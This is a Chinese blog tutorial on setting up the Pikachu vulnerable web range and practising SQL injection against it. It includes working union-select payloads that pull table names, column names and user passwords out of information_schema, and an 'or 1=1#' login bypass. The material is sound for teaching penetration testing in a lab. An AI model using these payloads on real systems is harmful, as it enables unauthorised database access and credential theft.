一. pikachu介绍
1.1 简介
Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。
1.2 pikachu模块
- Burt Force(暴力破解漏洞)
- XSS(跨站脚本漏洞)
- CSRF(跨站请求伪造)
- SQL-Inject(SQL注入漏洞)
- RCE(远程命令/代码执行)
- Files Inclusion(文件包含漏洞)
- Unsafe file downloads(不安全的文件下载)
- Unsafe file uploads(不安全的文件上传)
- Over Permisson(越权漏洞)
- ../../../(目录遍历)
- I can see your ABC(敏感信息泄露)
- PHP反序列化漏洞
- XXE(XML External Entity attack)
- 不安全的URL重定向
- SSRF(Server-Side Request Forgery)
二. pikachu的搭建
2.1 phpstudy的搭建
phpstudy下载地址小皮面板(phpstudy) - 让天下没有难配的服务器环境! (xp.cn)
下载完后双击压缩包中的应用程序
选择路径,这里我存储在D盘中
然后就安装成功了
2.2 pikachu的搭建
pikachu的下载地址:https://github.com/zhuifengshaonianhanlu/pikachu
将其解压到PHPstudy路径下的PHPTutorial下的WWW目录下
在../www/pikachu-master/inc下,修改config.inc.php文件,如图:
然后在浏览器中访问http://127.0.0.1/pikachu-master(因为我的之前已经安装成功了,所以没有出现初始化安装)
三.SQL注入漏洞
3.1 SQL注入原理
就是通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或页面请求的查询字符串递交到服务器,达到欺骗服务器,让服务器执行这些恶意的sql命令,从而让攻击者,可以绕过一些机制,达到直接访问数据库的一种攻击手段。
3.2 SQL注入分类
(1)数字型 (2)字符型 (3)报错注入 (4)Boollean注入 (5)时间注入
3.3 SQL注入思路
(1).判断是否存在注入,注入是字符型还是数字型
(2).猜解SQL查询语句中的字段数
(3).确定回显位置
(4).获取当前数据库
(5).获取数据库中的表
(6).获取表中的字段名
(7).得到数据
3.4 SQL注入绕过方法
(1)注释符号绕过 (2)大小写绕过 (3)内联注释绕过
(4)特殊编码绕过 (5)空格过滤绕过 (6)过滤or and xor not 绕过
四.SQL注入漏洞的分析
4.1 定义
SQL注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。
4.2 原因
SQL 注入漏洞存在的原因,就是拼接SQL参数。也就是将用于输入的查询参数,直接拼接在SQL语句中,导致了SQL注入漏洞。web 开发人员无法保证所有的输入都已经过滤,攻击者利用发送给服务器的输入参数构造可执行的 SQL 代码(可加入到 get 请求、 post 谓求、 http 头信思、 cookie 中)。
五.SQL-Inject
5.1 数字型注入(post)
(1)判断注入类型,是数字型注入,还是字符型注入
我们可以看到是post请求,所以我们使用bp进行抓包,在burp里面进行
我们发送到重发器里面进行做,我们输入1可以看到返回给一个正常页面
我们输入1',可以看到报错了
我们继续输入1' and '1'='1,可以看到还是报错了,我们猜测是数字型注入
我们输入1and 1=1没有报错,1 and1=2报错了,所以类型是数字型注入(而且题目要告诉我们是数字型注入了,之所以这样做就是为了如何进行判断SQL注入类型)
(2)判断字段数 order by
我们使用order by 进行判断字段数, 至到order by 进行报错时候就是字段数
id=1 order by 1没有报错
id=1 order by 2没有报错,3报错了,所以字段数为2个
(3)判断回显位置 union select 1,2
(4)判断数据库 union select 1,database()
(5)获取表名 1 union select 1,group_concat(table_name) from information_schema.tables where tables_schema=database()
(6)获取字段名 1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
(7)获取数据 1 union select user,password from users
5.2 字符型注入(get)
(1)判断类型,我们在上面已经讲过了如何进行判断SQL注入类型,所以这里我们就不讲了,直接进行做题(注意:这里需要万能密码才能做)
我们输入1'可以看到报错了
我们输入1' and '1'='1,可以看到不存在 这里我们使用万能密码(1' or 1=1#),可以看到所有的数据,后面就不用做了
(2)后面步骤和前面一样,这里就不在写了,vince' order by 1#
后面的我们都可以使用sqlmap进行注入,所以后面的就在这里不讲解了。后面我会更新自己挖掘的漏洞.
来源地址:https://blog.csdn.net/qq_58091216/article/details/127682080